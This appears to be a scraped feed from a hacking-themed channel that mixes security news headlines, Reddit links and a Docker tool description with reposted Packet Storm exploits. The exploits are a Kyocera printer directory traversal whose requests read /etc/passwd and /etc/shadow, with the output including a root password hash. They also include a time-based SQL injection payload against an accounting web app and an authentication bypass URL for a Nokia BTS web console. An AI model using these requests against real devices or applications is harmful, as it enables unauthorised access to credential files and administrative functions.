AD CS: from ManageCA to RCE - BlackArrow
https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.blackarrow.net/ad-cs-from-manageca-to-rce/) [comments] (https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
What CISOs Should Tell the Board About Log4j

It's time for a reset with the board of directors. Very few have a dedicated, board-level cybersecurity committee, which means cybersecurity isn't viewed as a critical executive function.

Dark Reading: Attacks/Breaches
BlackBerry Seeks to Restore Its Past Glory With Services Push

Selling security software might prove easier than selling phones, but can BlackBerry outsmart its competition?

Exploit Collector
Kyocera Command Center RX ECOSYS M2035dn Directory Traversal

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Kyocera Command Center RX version ECOSYS M2035dn suffers from a directory traversal vulnerability that allows for file disclosure.

MD5 | 7228aa8fcc27e615b0c6ed6372b4e348

Download
# Exploit Title: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated)
# Author: Luis Martinez
# Discovery Date: 2022-02-10
# Vendor Homepage: https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
# Tested Version: ECOSYS M2035dn
# Tested on: Linux
# Vulnerability Type: Directory Traversal File Disclosure (Unauthenticated)

# Proof of Concept:
# 1.- Create a directory traversal payload
# 2.- Add nullbyte to the end of the payload(%00)
# 3.- Sent your request

Request 1:

GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 1:

HTTP/1.1 200 OK
Content-Length: 844
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 15:55:57 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/passwd, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
adm:x:4:4:adm:/var/adm:/bin/sh
lp:x:5:7:lp:/var/spool/lpd:/bin/sh
sync:x:6:8:sync:/bin:/bin/sync
shutdown:x:7:9:shutdown:/sbin:/sbin/shutdown
halt:x:8:10:halt:/sbin:/sbin/halt
mail:x:9:11:mail:/var/mail:/bin/sh
news:x:10:12:news:/var/spool/news:/bin/sh
uucp:x:11:13:uucp:/var/spool/uucp:/bin/sh
operator:x:12:0:operator:/root:/bin/sh
games:x:13:60:games:/usr/games:/bin/sh
ftp:x:15:14:ftp:/var/ftp:/bin/sh
man:x:16:20:man:/var/cache/man:/bin/sh
www:x:17:18:www-data:/var/www:/bin/sh
sshd:x:18:19:sshd:/var/run/sshd:/bin/sh
proxy:x:19:21:proxy:/bin:/bin/sh
telnetd:x:20:22:proxy:/bin:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
ais:x:101:101:ais:/var/run/ais:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

Request 2:

GET /js/../../../../../../../../etc/shadow%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 2:

HTTP/1.1 200 OK
Content-Length: 480
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 16:10:16 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/shadow, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:$1$7NzW9Q4N$hXTtMygKjVUdJtW86EH3t1:15873::::::
bin:*:15873::::::
daemon:*:15873::::::
sys:*:15873::::::
adm:*:15873::::::
lp:*:15873::::::
sync:*:15873::::::
shutdown:*:15873::::::
halt:*:15873::::::
mail:*:15873::::::
news:*:15873::::::
uucp:*:15873::::::
operator:*:15873::::::
games:*:15873::::::
ftp:*:15873::::::
man:*:15873::::::
www:*:15873::::::
sshd:*:15873::::::
proxy:*:15873::::::
telnetd:*:15873::::::
backup:*:15873::::::
ais:*:15873::::::
nobody:*:15873::::::


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Accounting Journal Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Accounting Journal Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | cfdb5f319bcfa6174d133376cddb4d3a

Download
# Exploit Title: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15155/accounting-journal-management-system-trial-balance-php-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 09.02.2022

######## Description ########
#
#
# Authenticate and get update user settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########

========>>> REQUEST

GET /ajms/admin/?page=user/manage_user&id=5%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r513r6hug9aqofhlfs3bc7f7qa
Upgrade-Insecure-Requests: 1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Subrion CMS 4.2.1 Cross Site Request Forgery

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nokia Transport Module Authentication Bypass

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. Analysis discovered an authentication bypass vulnerability in the web management console. BTS TRS web console version FTM_W20_FP2_2019.08.16_0010 is affected.

MD5 | 4f32f0cecdf17e2dffb9e31e654386dd

Download
title: Nokia Transport Module Authentication Bypass
case id: CM-2020-02
product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)
vulnerability type: Authentication Bypass
severity: Critical
found: 2020-09-28
CVE: CVE-2021-31932
by: Cristiano Maruti (@cmaruti)

[EXECUTIVE SUMMARY]

The TRS web console allows an authenticated user to remotely manage the BTS
and its configuration. The analysis discovered an authentication bypass
vulnerability (CWE-289) in the web management console. A malicious
unauthenticated user can get access to all the functionalities exposed via
the web panel circumventing the authentication process. The vulnerability
lies in the way the web server in use (lighttpd) protects restricted
resources and how special characters are encoded and pass to the underline
CGIs. A successful attack can read data from the BTS and read, modify or
delete BTS configuration.

[VULNERABLE VERSIONS]

The following version of the TRS web console was affected by the
vulnerability; previous versions may be vulnerable as well:
- BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)

[TECHNICAL DETAILS]

It is possible to reproduce the vulnerability following these steps:
1. Open a web browser and insert the BTS TRS web console IP
2. Navigate to a protected resource (for example
/protected/ShowErrorLog.cgi)
3. Subsitute the dot character with the corresponding URL encoded value
(%2e)
4. Resulting URL
(/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken)
give access without prompt for any authentication credential

Below a full transcript of the HTTP request used to get access to a
protected
resource.

HTTP Request
-------------------------------------------------------------------------------
GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1
Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SIEMENS-SINEMA Remote Connect 1.0 SP3 HF1 Open Redirection

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Rapid7 have decided to close public access to their Open Data internet research, a fantastic resource for passive domain reconnaissance/OSINT

As stated in the title, Rapid7 have shutdown free access to their Open Data internet research. In my opinion this was by far the best and most underrated resource for passive domain intelligence (attack surface mapping, bug bounty hunting, etc.).

Do any of you know a good alternative? I know https://github.com/Cgboal has made a good indexation of the data. An older version of the data also seems to be searchable on https://webscout.io/app/demo but ideally I would love to work with a complete dataset. Is anyone aware of similar research projects?

Rapid7 has published this blogpost on their decision to close access to the data https://www.rapid7.com/blog/post/2022/02/10/evolving-how-we-share-rapid7-research-data-2/

submitted by /u/zynt4x
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

100 Days of Hacking — Day 7
https://astroboy73.medium.com/100-days-of-hacking-day-7-55a0aa4d3f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Objectives of day 7 :Continue reading on Medium » (https://astroboy73.medium.com/100-days-of-hacking-day-7-55a0aa4d3f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

100 Days of Hacking — Day 7

Objectives of day 7 :Continue reading on Medium »
Read more...

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Dive - A Tool For Exploring Each Layer In A Docker Image

http://3.bp.blogspot.com/-jY8vytUej2s/Yd0cA00InbI/AAAAAAAA8a8/00PdXF346cs7bXgFNqwMMFAhfsq5XKZpgCK4BGAYYCw/w640-h400/dive_4_demo-778677.gif A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image.
To analyze a Docker image simply run dive with an image tag/id/digest: dive or if you want to build your image then jump straight into analyzing it: dive build -t Building on Macbook (supporting only the Docker container engine)
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v "$(pwd)":"$(pwd)" \
-w "$(pwd)" \
-v "$HOME/.dive.yaml":"$HOME/.dive.yaml" \
wagoodman/dive:latest build -t
Additionally you can run this in your CI pipeline to ensure you're keeping wasted space to a minimum (this skips the UI): CI=true dive http://4.bp.blogspot.com/-PbsUesOm8uQ/Yd0cBGawlQI/AAAAAAAA8bE/EdM9Ebp3_h0rQ_R4PmAt7TsvlmghNByeQCK4BGAYYCw/w640-h382/dive_5_demo-ci-780139.png This is beta quality! Feel free to submit an issue if you want a new feature or find a bug :) Basic FeaturesShow Docker image contents broken down by layer

As you select a layer on the left, you are shown the contents of that layer combined with all previous layers on the right. Also, you can fully explore the file tree with the arrow keys.

Indicate what's changed in each layer

Files that have changed, been modified, added, or removed are indicated in the file tree. This can be adjusted to show changes for a specific layer, or aggregated changes up to this layer.

Estimate "image efficiency"

The lower left pane shows basic layer info and an experimental metric that will guess how much wasted space your image contains. This might be from duplicating files across layers, moving files across layers, or not fully removing files. Both a percentage "score" and total wasted file space is provided.

Quick build/analysis cycles

You can build a Docker image and do an immediate analysis with one command: dive build -t some-tag .You only need to replace your docker buildcommand with the same dive buildcommand.

CI Integration

Analyze an image and get a pass/fail result based on the image efficiency and wasted space. Simply set CI=truein the environment when invoking any valid dive command.

Multiple Image Sources and Container Engines Supported

With the --sourceoption, you can select where to fetch the container image from: dive or dive ://With valid sourceoptions as such:

* docker: Docker engine (the default option)
* docker-archive: A Docker Tar Archive from disk
* podman: Podman engine (linux only) InstallationUbuntu/Debian wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb
sudo apt install ./dive_0.9.2_linux_amd64.debRHEL/Centos curl -OL https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.rpm
rpm -i dive_0.9.2_linux_amd64.rpmArch Linux

Available as dive in the Arch User Repository (AUR). yay -S diveThe above example assumes yayas the tool for installing AUR packages.

Mac

If you use Homebrew: brew install diveIf you use MacPorts: sudo port install diveOr download the latest Darwin build from the releases page.

Windows

Download the latest release.

Go tools Requires Go version 1.10 or higher. go get github.com/wagoodman/diveNote: installing in this way you will not see a proper version [...]

___________________________
@hacking_Attack
@Hacking_Video